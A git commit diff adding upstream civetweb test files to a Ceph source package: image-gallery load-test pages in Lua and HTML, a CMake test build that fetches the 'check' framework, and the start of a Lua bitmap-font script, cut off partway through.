diff options
author | Daniel Baumann <daniel.baumann@progress-linux.org> | 2024-04-07 18:45:59 +0000 |
---|---|---|
committer | Daniel Baumann <daniel.baumann@progress-linux.org> | 2024-04-07 18:45:59 +0000 |
commit | 19fcec84d8d7d21e796c7624e521b60d28ee21ed (patch) | |
tree | 42d26aa27d1e3f7c0b8bd3fd14e7d7082f5008dc /src/civetweb/test | |
parent | Initial commit. (diff) | |
download | ceph-19fcec84d8d7d21e796c7624e521b60d28ee21ed.tar.xz ceph-19fcec84d8d7d21e796c7624e521b60d28ee21ed.zip |
Adding upstream version 16.2.11+ds.upstream/16.2.11+dsupstream
Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>
Diffstat (limited to 'src/civetweb/test')
201 files changed, 11941 insertions, 0 deletions
diff --git a/src/civetweb/test/.leading.dot.txt b/src/civetweb/test/.leading.dot.txt new file mode 100644 index 000000000..0e4b0c7ba --- /dev/null +++ b/src/civetweb/test/.leading.dot.txt @@ -0,0 +1 @@ +abc123 diff --git a/src/civetweb/test/1000images.lua b/src/civetweb/test/1000images.lua new file mode 100644 index 000000000..8601a42a1 --- /dev/null +++ b/src/civetweb/test/1000images.lua @@ -0,0 +1,199 @@ +mg.write("HTTP/1.1 200 OK\r\n")
+mg.write("Connection: close\r\n")
+mg.write("Content-Type: text/html; charset=utf-8\r\n")
+mg.write("\r\n")
+
+t = os.time()
+
+if not mg.request_info.query_string then
+ cnt = 1000
+else
+ cnt = tonumber(mg.get_var(mg.request_info.query_string, "cnt"))
+end
+
+cnt = 100*math.floor(cnt/100)
+
+mg.write([[
+<html> + <head> + <title>]] .. cnt .. [[ images</title> + <script type="text/javascript"> + var startLoad = Date.now(); + window.onload = function () { + var loadTime = (Date.now()-startLoad) + " ms"; + document.getElementById('timing').innerHTML = loadTime; + } + </script> + </head> + <body> + <h1>A large gallery of small images:</h1> + <p> +]]) +for s=0,(cnt/100)-1 do +local ts = (tostring(t) .. tostring(s)) +mg.write([[ + <h2>page ]]..s..[[</h2> + <table> + <tr> + <td><img src="imagetest/00.png?ts=]]..ts..[["></td> + <td><img src="imagetest/01.png?ts=]]..ts..[["></td> + <td><img src="imagetest/02.png?ts=]]..ts..[["></td> + <td><img src="imagetest/03.png?ts=]]..ts..[["></td> + <td><img src="imagetest/04.png?ts=]]..ts..[["></td> + <td><img src="imagetest/05.png?ts=]]..ts..[["></td> + <td><img src="imagetest/06.png?ts=]]..ts..[["></td> + <td><img src="imagetest/07.png?ts=]]..ts..[["></td> + <td><img src="imagetest/08.png?ts=]]..ts..[["></td> + <td><img src="imagetest/09.png?ts=]]..ts..[["></td> + </tr> +]]) +mg.write([[ + <tr> + <td><img src="imagetest/10.png?ts=]]..ts..[["></td> + <td><img src="imagetest/11.png?ts=]]..ts..[["></td> + <td><img src="imagetest/12.png?ts=]]..ts..[["></td> + <td><img src="imagetest/13.png?ts=]]..ts..[["></td> + <td><img src="imagetest/14.png?ts=]]..ts..[["></td> + <td><img src="imagetest/15.png?ts=]]..ts..[["></td> + <td><img src="imagetest/16.png?ts=]]..ts..[["></td> + <td><img src="imagetest/17.png?ts=]]..ts..[["></td> + <td><img src="imagetest/18.png?ts=]]..ts..[["></td> + <td><img src="imagetest/19.png?ts=]]..ts..[["></td> + </tr> +]]) +mg.write([[ + <tr> + <td><img src="imagetest/20.png?ts=]]..ts..[["></td> + <td><img src="imagetest/21.png?ts=]]..ts..[["></td> + <td><img src="imagetest/22.png?ts=]]..ts..[["></td> + <td><img src="imagetest/23.png?ts=]]..ts..[["></td> + <td><img src="imagetest/24.png?ts=]]..ts..[["></td> + <td><img src="imagetest/25.png?ts=]]..ts..[["></td> + <td><img src="imagetest/26.png?ts=]]..ts..[["></td> + <td><img src="imagetest/27.png?ts=]]..ts..[["></td> + <td><img src="imagetest/28.png?ts=]]..ts..[["></td> + <td><img src="imagetest/29.png?ts=]]..ts..[["></td> + </tr> +]]) +mg.write([[ + <tr> + <td><img src="imagetest/20.png?ts=]]..ts..[["></td> + <td><img src="imagetest/21.png?ts=]]..ts..[["></td> + <td><img src="imagetest/22.png?ts=]]..ts..[["></td> + <td><img src="imagetest/23.png?ts=]]..ts..[["></td> + <td><img src="imagetest/24.png?ts=]]..ts..[["></td> + <td><img src="imagetest/25.png?ts=]]..ts..[["></td> + <td><img src="imagetest/26.png?ts=]]..ts..[["></td> + <td><img src="imagetest/27.png?ts=]]..ts..[["></td> + <td><img src="imagetest/28.png?ts=]]..ts..[["></td> + <td><img src="imagetest/29.png?ts=]]..ts..[["></td> + </tr> +]]) +mg.write([[ + <tr> + <td><img src="imagetest/30.png?ts=]]..ts..[["></td> + <td><img src="imagetest/31.png?ts=]]..ts..[["></td> + <td><img src="imagetest/32.png?ts=]]..ts..[["></td> + <td><img src="imagetest/33.png?ts=]]..ts..[["></td> + <td><img src="imagetest/34.png?ts=]]..ts..[["></td> + <td><img src="imagetest/35.png?ts=]]..ts..[["></td> + <td><img src="imagetest/36.png?ts=]]..ts..[["></td> + <td><img src="imagetest/37.png?ts=]]..ts..[["></td> + <td><img src="imagetest/38.png?ts=]]..ts..[["></td> + <td><img src="imagetest/39.png?ts=]]..ts..[["></td> + </tr> +]]) +mg.write([[ + <tr> + <td><img src="imagetest/40.png?ts=]]..ts..[["></td> + <td><img src="imagetest/41.png?ts=]]..ts..[["></td> + <td><img src="imagetest/42.png?ts=]]..ts..[["></td> + <td><img src="imagetest/43.png?ts=]]..ts..[["></td> + <td><img src="imagetest/44.png?ts=]]..ts..[["></td> + <td><img src="imagetest/45.png?ts=]]..ts..[["></td> + <td><img src="imagetest/46.png?ts=]]..ts..[["></td> + <td><img src="imagetest/47.png?ts=]]..ts..[["></td> + <td><img src="imagetest/48.png?ts=]]..ts..[["></td> + <td><img src="imagetest/49.png?ts=]]..ts..[["></td> + </tr> +]]) +mg.write([[ + <tr> + <td><img src="imagetest/50.png?ts=]]..ts..[["></td> + <td><img src="imagetest/51.png?ts=]]..ts..[["></td> + <td><img src="imagetest/52.png?ts=]]..ts..[["></td> + <td><img src="imagetest/53.png?ts=]]..ts..[["></td> + <td><img src="imagetest/54.png?ts=]]..ts..[["></td> + <td><img src="imagetest/55.png?ts=]]..ts..[["></td> + <td><img src="imagetest/56.png?ts=]]..ts..[["></td> + <td><img src="imagetest/57.png?ts=]]..ts..[["></td> + <td><img src="imagetest/58.png?ts=]]..ts..[["></td> + <td><img src="imagetest/59.png?ts=]]..ts..[["></td> + </tr> +]]) +mg.write([[ + <tr> + <td><img src="imagetest/60.png?ts=]]..ts..[["></td> + <td><img src="imagetest/61.png?ts=]]..ts..[["></td> + <td><img src="imagetest/62.png?ts=]]..ts..[["></td> + <td><img src="imagetest/63.png?ts=]]..ts..[["></td> + <td><img src="imagetest/64.png?ts=]]..ts..[["></td> + <td><img src="imagetest/65.png?ts=]]..ts..[["></td> + <td><img src="imagetest/66.png?ts=]]..ts..[["></td> + <td><img src="imagetest/67.png?ts=]]..ts..[["></td> + <td><img src="imagetest/68.png?ts=]]..ts..[["></td> + <td><img src="imagetest/69.png?ts=]]..ts..[["></td> + </tr> +]]) +mg.write([[ + <tr> + <td><img src="imagetest/70.png?ts=]]..ts..[["></td> + <td><img src="imagetest/71.png?ts=]]..ts..[["></td> + <td><img src="imagetest/72.png?ts=]]..ts..[["></td> + <td><img src="imagetest/73.png?ts=]]..ts..[["></td> + <td><img src="imagetest/74.png?ts=]]..ts..[["></td> + <td><img src="imagetest/75.png?ts=]]..ts..[["></td> + <td><img src="imagetest/76.png?ts=]]..ts..[["></td> + <td><img src="imagetest/77.png?ts=]]..ts..[["></td> + <td><img src="imagetest/78.png?ts=]]..ts..[["></td> + <td><img src="imagetest/79.png?ts=]]..ts..[["></td> + </tr> +]]) +mg.write([[ + <tr> + <td><img src="imagetest/80.png?ts=]]..ts..[["></td> + <td><img src="imagetest/81.png?ts=]]..ts..[["></td> + <td><img src="imagetest/82.png?ts=]]..ts..[["></td> + <td><img src="imagetest/83.png?ts=]]..ts..[["></td> + <td><img src="imagetest/84.png?ts=]]..ts..[["></td> + <td><img src="imagetest/85.png?ts=]]..ts..[["></td> + <td><img src="imagetest/86.png?ts=]]..ts..[["></td> + <td><img src="imagetest/87.png?ts=]]..ts..[["></td> + <td><img src="imagetest/88.png?ts=]]..ts..[["></td> + <td><img src="imagetest/89.png?ts=]]..ts..[["></td> + </tr> +]]) +mg.write([[ + <tr> + <td><img src="imagetest/90.png?ts=]]..ts..[["></td> + <td><img src="imagetest/91.png?ts=]]..ts..[["></td> + <td><img src="imagetest/92.png?ts=]]..ts..[["></td> + <td><img src="imagetest/93.png?ts=]]..ts..[["></td> + <td><img src="imagetest/94.png?ts=]]..ts..[["></td> + <td><img src="imagetest/95.png?ts=]]..ts..[["></td> + <td><img src="imagetest/96.png?ts=]]..ts..[["></td> + <td><img src="imagetest/97.png?ts=]]..ts..[["></td> + <td><img src="imagetest/98.png?ts=]]..ts..[["></td> + <td><img src="imagetest/99.png?ts=]]..ts..[["></td> + </tr> + </table> +]]) +end +mg.write([[ + </p> + <p id="timing"> + Test case: all images are displayed. + </p> + </body> +</html> +]]) diff --git a/src/civetweb/test/100images.htm b/src/civetweb/test/100images.htm new file mode 100644 index 000000000..9e433f660 --- /dev/null +++ b/src/civetweb/test/100images.htm @@ -0,0 +1,160 @@ +<html> + + <!-- Test case description: --> + <!-- This test contains 100 small images in a table. --> + <!-- Once a browser opens the html file, it will request --> + <!-- all these images from the server very quickly. --> + <!-- Depending on the "keep-alive" settings, it will --> + <!-- either open/close 100 connections quite rapidly --> + <!-- if keep-alive=no, or otherwise establish only a few --> + <!-- connections, typically one or two, and reuse them. --> + <!-- If the test succeeds, all 100 images are displayed. --> + <!-- The loading time is measured automatically in the --> + <!-- browser using JavaScript. Note that the load times --> + <!-- also differs between HTTP and HTTPS. --> + + <head> + <title>100 images</title> + <script type="text/javascript"> + var startLoad = Date.now(); + window.onload = function () { + var loadTime = (Date.now()-startLoad) + " ms"; + document.getElementById('timing').innerHTML = loadTime; + } + </script> + </head> + <body> + <h1>A gallery of small images:</h1> + <p> + <table> + <tr> + <td><img src="imagetest/00.png"></td> + <td><img src="imagetest/01.png"></td> + <td><img src="imagetest/02.png"></td> + <td><img src="imagetest/03.png"></td> + <td><img src="imagetest/04.png"></td> + <td><img src="imagetest/05.png"></td> + <td><img src="imagetest/06.png"></td> + <td><img src="imagetest/07.png"></td> + <td><img src="imagetest/08.png"></td> + <td><img src="imagetest/09.png"></td> + </tr> + <tr> + <td><img src="imagetest/10.png"></td> + <td><img src="imagetest/11.png"></td> + <td><img src="imagetest/12.png"></td> + <td><img src="imagetest/13.png"></td> + <td><img src="imagetest/14.png"></td> + <td><img src="imagetest/15.png"></td> + <td><img src="imagetest/16.png"></td> + <td><img src="imagetest/17.png"></td> + <td><img src="imagetest/18.png"></td> + <td><img src="imagetest/19.png"></td> + </tr> + <tr> + <td><img src="imagetest/20.png"></td> + <td><img src="imagetest/21.png"></td> + <td><img src="imagetest/22.png"></td> + <td><img src="imagetest/23.png"></td> + <td><img src="imagetest/24.png"></td> + <td><img src="imagetest/25.png"></td> + <td><img src="imagetest/26.png"></td> + <td><img src="imagetest/27.png"></td> + <td><img src="imagetest/28.png"></td> + <td><img src="imagetest/29.png"></td> + </tr> + <tr> + <td><img src="imagetest/30.png"></td> + <td><img src="imagetest/31.png"></td> + <td><img src="imagetest/32.png"></td> + <td><img src="imagetest/33.png"></td> + <td><img src="imagetest/34.png"></td> + <td><img src="imagetest/35.png"></td> + <td><img src="imagetest/36.png"></td> + <td><img src="imagetest/37.png"></td> + <td><img src="imagetest/38.png"></td> + <td><img src="imagetest/39.png"></td> + </tr> + <tr> + <td><img src="imagetest/40.png"></td> + <td><img src="imagetest/41.png"></td> + <td><img src="imagetest/42.png"></td> + <td><img src="imagetest/43.png"></td> + <td><img src="imagetest/44.png"></td> + <td><img src="imagetest/45.png"></td> + <td><img src="imagetest/46.png"></td> + <td><img src="imagetest/47.png"></td> + <td><img src="imagetest/48.png"></td> + <td><img src="imagetest/49.png"></td> + </tr> + <tr> + <td><img src="imagetest/50.png"></td> + <td><img src="imagetest/51.png"></td> + <td><img src="imagetest/52.png"></td> + <td><img src="imagetest/53.png"></td> + <td><img src="imagetest/54.png"></td> + <td><img src="imagetest/55.png"></td> + <td><img src="imagetest/56.png"></td> + <td><img src="imagetest/57.png"></td> + <td><img src="imagetest/58.png"></td> + <td><img src="imagetest/59.png"></td> + </tr> + <tr> + <td><img src="imagetest/60.png"></td> + <td><img src="imagetest/61.png"></td> + <td><img src="imagetest/62.png"></td> + <td><img src="imagetest/63.png"></td> + <td><img src="imagetest/64.png"></td> + <td><img src="imagetest/65.png"></td> + <td><img src="imagetest/66.png"></td> + <td><img src="imagetest/67.png"></td> + <td><img src="imagetest/68.png"></td> + <td><img src="imagetest/69.png"></td> + </tr> + <tr> + <td><img src="imagetest/70.png"></td> + <td><img src="imagetest/71.png"></td> + <td><img src="imagetest/72.png"></td> + <td><img src="imagetest/73.png"></td> + <td><img src="imagetest/74.png"></td> + <td><img src="imagetest/75.png"></td> + <td><img src="imagetest/76.png"></td> + <td><img src="imagetest/77.png"></td> + <td><img src="imagetest/78.png"></td> + <td><img src="imagetest/79.png"></td> + </tr> + <tr> + <td><img src="imagetest/80.png"></td> + <td><img src="imagetest/81.png"></td> + <td><img src="imagetest/82.png"></td> + <td><img src="imagetest/83.png"></td> + <td><img src="imagetest/84.png"></td> + <td><img src="imagetest/85.png"></td> + <td><img src="imagetest/86.png"></td> + <td><img src="imagetest/87.png"></td> + <td><img src="imagetest/88.png"></td> + <td><img src="imagetest/89.png"></td> + </tr> + <tr> + <td><img src="imagetest/90.png"></td> + <td><img src="imagetest/91.png"></td> + <td><img src="imagetest/92.png"></td> + <td><img src="imagetest/93.png"></td> + <td><img src="imagetest/94.png"></td> + <td><img src="imagetest/95.png"></td> + <td><img src="imagetest/96.png"></td> + <td><img src="imagetest/97.png"></td> + <td><img src="imagetest/98.png"></td> + <td><img src="imagetest/99.png"></td> + </tr> + </table> + </p> + <p id="timing"> + Test case: all images are displayed. + </p> + <p id="navigation"> + <button onclick="window.history.back()">back</button> + <button onclick="location.reload()">reload</button> + </p> + </body> +</html> diff --git a/src/civetweb/test/CMakeLists.txt b/src/civetweb/test/CMakeLists.txt new file mode 100644 index 000000000..e6a360c30 --- /dev/null +++ b/src/civetweb/test/CMakeLists.txt @@ -0,0 +1,250 @@ +# Determine if we should print to the output +if (CIVETWEB_ENABLE_THIRD_PARTY_OUTPUT) + set(THIRD_PARTY_LOGGING 0) +else() + set(THIRD_PARTY_LOGGING 1) +endif() + +# We use the check unit testing framework for our C unit tests +include(ExternalProject) +#if(NOT WIN32) +# # Apply the patch to check to fix CMake building on OS X +# set(CHECK_PATCH_COMMAND patch +# ${CIVETWEB_THIRD_PARTY_DIR}/src/check-unit-test-framework/CMakeLists.txt +# ${CMAKE_SOURCE_DIR}/cmake/check/c82fe8888aacfe784476112edd3878256d2e30bc.patch +# ) +#else() +# set(CHECK_PATCH_COMMAND "") +#endif() +ExternalProject_Add(check-unit-test-framework + DEPENDS c-library + +## Use an official, released check version: +# URL "https://codeload.github.com/libcheck/check/zip/${CIVETWEB_CHECK_VERSION}" +# DOWNLOAD_NAME "${CIVETWEB_CHECK_VERSION}.zip" +# URL_MD5 ${CIVETWEB_CHECK_MD5_HASH} + +## Use a civetweb specific patched version +URL "https://github.com/civetweb/check/archive/master.zip" +DOWNLOAD_NAME "master.zip" +# <Edit this file to flush AppVeyor build cache and force reloading check> + + PREFIX "${CIVETWEB_THIRD_PARTY_DIR}" + BUILD_IN_SOURCE 1 + PATCH_COMMAND ${CHECK_PATCH_COMMAND} + CMAKE_ARGS + "-DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}" + "-DCMAKE_C_COMPILER=${CMAKE_C_COMPILER}" + "-DCMAKE_INSTALL_PREFIX=<INSTALL_DIR>" + LOG_DOWNLOAD ${THIRD_PARTY_LOGGING} + LOG_UPDATE ${THIRD_PARTY_LOGGING} + LOG_CONFIGURE ${THIRD_PARTY_LOGGING} + LOG_BUILD ${THIRD_PARTY_LOGGING} + LOG_TEST ${THIRD_PARTY_LOGGING} + LOG_INSTALL ${THIRD_PARTY_LOGGING}) + +ExternalProject_Get_Property(check-unit-test-framework INSTALL_DIR) +set(CHECK_INSTALL_DIR ${INSTALL_DIR}) +unset(INSTALL_DIR) +link_directories("${CHECK_INSTALL_DIR}/lib") +include_directories("${CHECK_INSTALL_DIR}/include") +if ((WIN32 AND MINGW) OR APPLE) + set(CHECK_LIBRARIES "${CHECK_LIBRARIES};${CHECK_INSTALL_DIR}/lib/libcheck.a") + set(CHECK_LIBRARIES "${CHECK_LIBRARIES};${CHECK_INSTALL_DIR}/lib/libcompat.a") +elseif (WIN32) + set(CHECK_LIBRARIES "${CHECK_LIBRARIES};${CHECK_INSTALL_DIR}/lib/check.lib") + set(CHECK_LIBRARIES "${CHECK_LIBRARIES};${CHECK_INSTALL_DIR}/lib/compat.lib") +else() + set(CHECK_LIBRARIES "${CHECK_INSTALL_DIR}/lib/libcheck.a") +endif() +find_package(LibM) +if (LIBM_FOUND) + set(CHECK_LIBRARIES "${CHECK_LIBRARIES};LIBM::LIBM") +endif() +find_package(LibRt) +if (LIBRT_FOUND) + set(CHECK_LIBRARIES "${CHECK_LIBRARIES};LIBRT::LIBRT") +endif() +find_package(LibSubunit) +if (LIBSUBUNIT_FOUND) + set(CHECK_LIBRARIES "${CHECK_LIBRARIES};LIBSUBUNIT::LIBSUBUNIT") +endif() + +# Build the C unit tests +add_library(shared-c-unit-tests STATIC shared.c) +target_include_directories( + shared-c-unit-tests PUBLIC + ${PROJECT_SOURCE_DIR}/include) + +add_library(public-func-c-unit-tests STATIC public_func.c) +if (BUILD_SHARED_LIBS) + target_compile_definitions(public-func-c-unit-tests PRIVATE CIVETWEB_DLL_IMPORTS) +endif() +target_include_directories( + public-func-c-unit-tests PUBLIC + ${PROJECT_SOURCE_DIR}/include) +target_link_libraries(public-func-c-unit-tests c-library ${CHECK_LIBRARIES}) +add_dependencies(public-func-c-unit-tests check-unit-test-framework) + +add_library(public-server-c-unit-tests STATIC public_server.c) +if (BUILD_SHARED_LIBS) + target_compile_definitions(public-server-c-unit-tests PRIVATE CIVETWEB_DLL_IMPORTS) +endif() +target_include_directories( + public-server-c-unit-tests PUBLIC + ${PROJECT_SOURCE_DIR}/include) +target_link_libraries(public-server-c-unit-tests c-library ${CHECK_LIBRARIES}) +add_dependencies(public-server-c-unit-tests check-unit-test-framework) + +add_library(private-c-unit-tests STATIC private.c) +target_include_directories( + private-c-unit-tests PUBLIC + ${PROJECT_SOURCE_DIR}/include) +target_link_libraries(private-c-unit-tests ${CHECK_LIBRARIES}) +add_dependencies(private-c-unit-tests check-unit-test-framework) + +add_library(timer-c-unit-tests STATIC timertest.c) +target_include_directories( + timer-c-unit-tests PUBLIC + ${PROJECT_SOURCE_DIR}/include) +target_link_libraries(timer-c-unit-tests ${CHECK_LIBRARIES}) +add_dependencies(timer-c-unit-tests check-unit-test-framework) + +add_library(exe-c-unit-tests STATIC private_exe.c) +if (BUILD_SHARED_LIBS) + target_compile_definitions(exe-c-unit-tests PRIVATE) +endif() +target_include_directories( + exe-c-unit-tests PUBLIC + ${PROJECT_SOURCE_DIR}/include) +target_link_libraries(exe-c-unit-tests c-library ${CHECK_LIBRARIES}) +add_dependencies(exe-c-unit-tests check-unit-test-framework) + +add_executable(main-c-unit-test main.c) +target_link_libraries(main-c-unit-test + shared-c-unit-tests + public-func-c-unit-tests + public-server-c-unit-tests + private-c-unit-tests + timer-c-unit-tests + exe-c-unit-tests + ${CHECK_LIBRARIES}) +add_dependencies(main-c-unit-test check-unit-test-framework) + +# Add a check command that builds the dependent test program +add_custom_target(check + COMMAND ${CMAKE_CTEST_COMMAND} + DEPENDS main-c-unit-test) + +# A macro for adding tests +macro(civetweb_add_test suite test_case) + set(test "test-${suite}-${test_case}") + string(TOLOWER "${test}" test) + string(REGEX REPLACE "[^-A-Za-z0-9]" "-" test "${test}") + add_test( + NAME ${test} + COMMAND main-c-unit-test "--test-dir=${CMAKE_CURRENT_SOURCE_DIR}" "--suite=${suite}" "--test-case=${test_case}") + if (WIN32) + string(REPLACE ";" "\\;" test_path "$ENV{PATH}") + set_tests_properties(${test} PROPERTIES + ENVIRONMENT "PATH=${test_path}\\;$<TARGET_FILE_DIR:c-library>") + endif() +endmacro(civetweb_add_test) + + +# Tests of private functions +civetweb_add_test(Private "HTTP Message") +civetweb_add_test(Private "HTTP Keep Alive") +civetweb_add_test(Private "URL Parsing 1") +civetweb_add_test(Private "URL Parsing 2") +civetweb_add_test(Private "URL Parsing 3") +civetweb_add_test(Private "Internal Parsing 1") +civetweb_add_test(Private "Internal Parsing 2") +civetweb_add_test(Private "Internal Parsing 3") +civetweb_add_test(Private "Internal Parsing 4") +civetweb_add_test(Private "Internal Parsing 5") +civetweb_add_test(Private "Internal Parsing 6") +civetweb_add_test(Private "Encode Decode") +civetweb_add_test(Private "Mask Data") +civetweb_add_test(Private "Date Parsing") +civetweb_add_test(Private "SHA1") + +# Public API function tests +civetweb_add_test(PublicFunc "Version") +civetweb_add_test(PublicFunc "Options") +civetweb_add_test(PublicFunc "MIME types") +civetweb_add_test(PublicFunc "strcasecmp") +civetweb_add_test(PublicFunc "URL encoding decoding") +civetweb_add_test(PublicFunc "Cookies and variables") +civetweb_add_test(PublicFunc "MD5") +civetweb_add_test(PublicFunc "Aux functions") + +# Public API server tests +civetweb_add_test(PublicServer "Check test environment") +civetweb_add_test(PublicServer "Init library") +civetweb_add_test(PublicServer "Start threads") +civetweb_add_test(PublicServer "Minimal Server") +civetweb_add_test(PublicServer "Minimal Client") +civetweb_add_test(PublicServer "Start Stop HTTP Server") +civetweb_add_test(PublicServer "Start Stop HTTP Server IPv6") +civetweb_add_test(PublicServer "Start Stop HTTPS Server") +civetweb_add_test(PublicServer "TLS Server Client") +civetweb_add_test(PublicServer "Server Requests") +civetweb_add_test(PublicServer "Store Body") +civetweb_add_test(PublicServer "Handle Form") +civetweb_add_test(PublicServer "HTTP Authentication") +civetweb_add_test(PublicServer "HTTP Keep Alive") +civetweb_add_test(PublicServer "Error handling") +civetweb_add_test(PublicServer "Limit speed") +civetweb_add_test(PublicServer "Large file") +civetweb_add_test(PublicServer "File in memory") + +# Timer tests +civetweb_add_test(Timer "Timer Single Shot") +civetweb_add_test(Timer "Timer Periodic") +civetweb_add_test(Timer "Timer Mixed") + +# Tests with main.c +#civetweb_add_test(EXE "Helper funcs") + + +# Add the coverage command(s) +if (${CMAKE_BUILD_TYPE} MATCHES "[Cc]overage") + find_program(GCOV_EXECUTABLE gcov) + find_program(LCOV_EXECUTABLE lcov) + find_program(GENHTML_EXECUTABLE genhtml) + find_program(CTEST_EXECUTABLE ctest) + if (GCOV_EXECUTABLE AND LCOV_EXECUTABLE AND GENHTML_EXECUTABLE AND CTEST_EXECUTABLE AND HAVE_C_FLAG_COVERAGE) + add_custom_command( + OUTPUT ${CMAKE_BINARY_DIR}/lcov/index.html + COMMAND ${LCOV_EXECUTABLE} -q -z -d . + COMMAND ${LCOV_EXECUTABLE} -q --no-external -c -b "${CMAKE_SOURCE_DIR}" -d . -o before.lcov -i + COMMAND ${CTEST_EXECUTABLE} --force-new-ctest-process + COMMAND ${LCOV_EXECUTABLE} -q --no-external -c -b "${CMAKE_SOURCE_DIR}" -d . -o after.lcov + COMMAND ${LCOV_EXECUTABLE} -q -a before.lcov -a after.lcov --output-file final.lcov + COMMAND ${LCOV_EXECUTABLE} -q -r final.lcov "'${CMAKE_SOURCE_DIR}/test/*'" -o final.lcov + COMMAND ${GENHTML_EXECUTABLE} final.lcov -o lcov --demangle-cpp --sort -p "${CMAKE_SOURCE_DIR}" -t benchmark + DEPENDS main-c-unit-test + WORKING_DIRECTORY ${CMAKE_BINARY_DIR} + COMMENT "Running LCOV" + ) + add_custom_target(coverage + DEPENDS ${CMAKE_BINARY_DIR}/lcov/index.html + COMMENT "LCOV report at lcov/index.html" + ) + message(STATUS "Coverage command added") + else() + if (HAVE_C_FLAG_COVERAGE) + set(C_FLAG_COVERAGE_MESSAGE supported) + else() + set(C_FLAG_COVERAGE_MESSAGE unavailable) + endif() + message(WARNING + "Coverage command not available:\n" + " gcov: ${GCOV_EXECUTABLE}\n" + " lcov: ${LCOV_EXECUTABLE}\n" + " genhtml: ${GENHTML_EXECUTABLE}\n" + " ctest: ${CTEST_EXECUTABLE}\n" + " --coverage flag: ${C_FLAG_COVERAGE_MESSAGE}") + endif() +endif() diff --git a/src/civetweb/test/HugeText.lua b/src/civetweb/test/HugeText.lua new file mode 100644 index 000000000..0fa57f1fe --- /dev/null +++ b/src/civetweb/test/HugeText.lua @@ -0,0 +1,149 @@ +-- (c) bel2125, 2010
+-- MIT public licence
+
+
+local letterCode = {
+ [' '] = {0,0,0,0,0},
+ ['!'] = {0,0,95,0,0},
+ ['"'] = {0,3,4,3,0},
+ ['#'] = {34,127,34,127,34},
+ ['$'] = {36,42,127,42,18},
+ ['%'] = {35,19,8,100,98},
+ ['&'] = {54,73,85,34,80},
+ ["'"] = {0,11,7,0,0},
+ ['('] = {0,28,34,65,0},
+ [')'] = {0,65,34,28,0},
+ ['*'] = {20,8,62,8,20},
+ ['+'] = {8,8,62,8,8},
+ [','] = {0,88,56,0,0},
+ ['-'] = {8,8,8,8,8},
+ ['.'] = {0,96,96,0,0},
+ ['/'] = {32,16,8,4,2},
+ ['0'] = {62,81,73,69,62},
+ ['1'] = {0,66,127,64,0},
+ ['2'] = {66,97,81,73,70},
+ ['3'] = {65,73,77,75,49},
+ ['4'] = {24,20,18,127,16},
+ ['5'] = {39,69,69,69,57},
+ ['6'] = {60,74,73,73,48},
+ ['7'] = {1,1,121,5,3},
+ ['8'] = {54,73,73,73,54},
+ ['9'] = {6,73,73,41,30},
+ [':'] = {0,54,54,0,0},
+ [';'] = {0,91,59,0,0},
+ ['<'] = {8,20,34,65,0},
+ ['='] = {20,20,20,20,20},
+ ['>'] = {0,65,34,20,8},
+ ['?'] = {2,1,81,9,6},
+ ['@'] = {50,73,121,65,62},
+ ['A'] = {124,18,17,18,124},
+ ['B'] = {65,127,73,73,54},
+ ['C'] = {62,65,65,65,34},
+ ['D'] = {65,127,65,65,62},
+ ['E'] = {127,73,73,73,65},
+ ['F'] = {127,9,9,9,1},
+ ['G'] = {62,65,65,73,57},
+ ['H'] = {127,8,8,8,127},
+ ['I'] = {0,65,127,65,0},
+ ['J'] = {32,64,65,63,1},
+ ['K'] = {127,8,20,34,65},
+ ['L'] = {127,64,64,64,64},
+ ['M'] = {127,2,12,2,127},
+ ['N'] = {127,4,8,16,127},
+ ['O'] = {62,65,65,65,62},
+ ['P'] = {127,9,9,9,6},
+ ['Q'] = {62,65,81,33,94},
+ ['R'] = {127,9,25,41,70},
+ ['S'] = {38,73,73,73,50},
+ ['T'] = {1,1,127,1,1},
+ ['U'] = {63,64,64,64,63},
+ ['V'] = {7,24,96,24,7},
+ ['W'] = {127,32,24,32,127},
+ ['X'] = {99,20,8,20,99},
+ ['Y'] = {3,4,120,4,3},
+ ['Z'] = {97,81,73,69,67},
+ ['['] = {0,127,65,65,0},
+ ['\\'] = {2,4,8,16,32},
+ [']'] = {0,65,65,127,0},
+ ['^'] = {24,4,2,4,24},
+ ['_'] = {64,64,64,64,64},
+ ['`'] = {0,0,7,11,0},
+ ['a'] = {56,68,68,60,64},
+ ['b'] = {127,72,68,68,56},
+ ['c'] = {56,68,68,68,32},
+ ['d'] = {56,68,68,72,127},
+ ['e'] = {56,84,84,84,24},
+ ['f'] = {0,8,126,9,2},
+ ['g'] = {8,84,84,60,0},
+ ['h'] = {127,4,4,120,0},
+ ['i'] = {0,0,125,0,0},
+ ['j'] = {32,64,68,61,0},
+ ['k'] = {127,16,40,68,0},
+ ['l'] = {0,0,127,0,0},
+ ['m'] = {120,4,120,4,120},
+ ['n'] = {124,8,4,4,120},
+ ['o'] = {56,68,68,68,56},
+ ['p'] = {124,20,20,20,8},
+ ['q'] = {24,36,20,124,64},
+ ['r'] = {124,8,4,4,0},
+ ['s'] = {72,84,84,84,32},
+ ['t'] = {4,62,68,32,0},
+ ['u'] = {60,64,64,32,124},
+ ['v'] = {28,32,64,32,28},
+ ['w'] = {60,64,48,64,60},
+ ['x'] = {68,36,124,72,68},
+ ['y'] = {12,80,80,60,0},
+ ['z'] = {68,100,84,76,68},
+ ['{'] = {0,8,54,65,0},
+ ['|'] = {0,0,119,0,0},
+ ['}'] = {0,65,54,8,0},
+ ['~'] = {8,4,8,16,8},
+};
+
+letterCode['('] = {0,60,66,129,0}
+letterCode[')'] = {0,129,66,60,0}
+letterCode[','] = {0,176,112,0,0}
+letterCode[';'] = {0,182,118,0,0}
+letterCode['['] = {0,255,129,129,0}
+letterCode[']'] = {0,129,129,255,0}
+letterCode['_'] = {128,128,128,128,128}
+letterCode['g'] = {24,164,164,124,0}
+letterCode['j'] = {64,128,132,125,0}
+letterCode['p'] = {252,36,36,36,24}
+letterCode['q'] = {24,36,36,252,128}
+letterCode['y'] = {12,80,80,60,0}
+letterCode['{'] = {0,24,102,129,0}
+letterCode['}'] = {0,129,102,24,0}
+
+
+local function HugeLetter(letter)
+ if letter==' ' then return {" ", " ", " ", " ", " ", " ", " ", " "} end
+ local code = letterCode[letter]
+ local str = {"", "", "", "", "", "", "", ""}
+ for i=1,5 do
+ local n = code[i]
+ if n and n>0 then
+ for b=1,8 do
+ if bit32.btest(n, bit32.lshift(1, b-1)) then str[b] = str[b] .. letter else str[b] = str[b] .. ' ' end
+ end
+ end
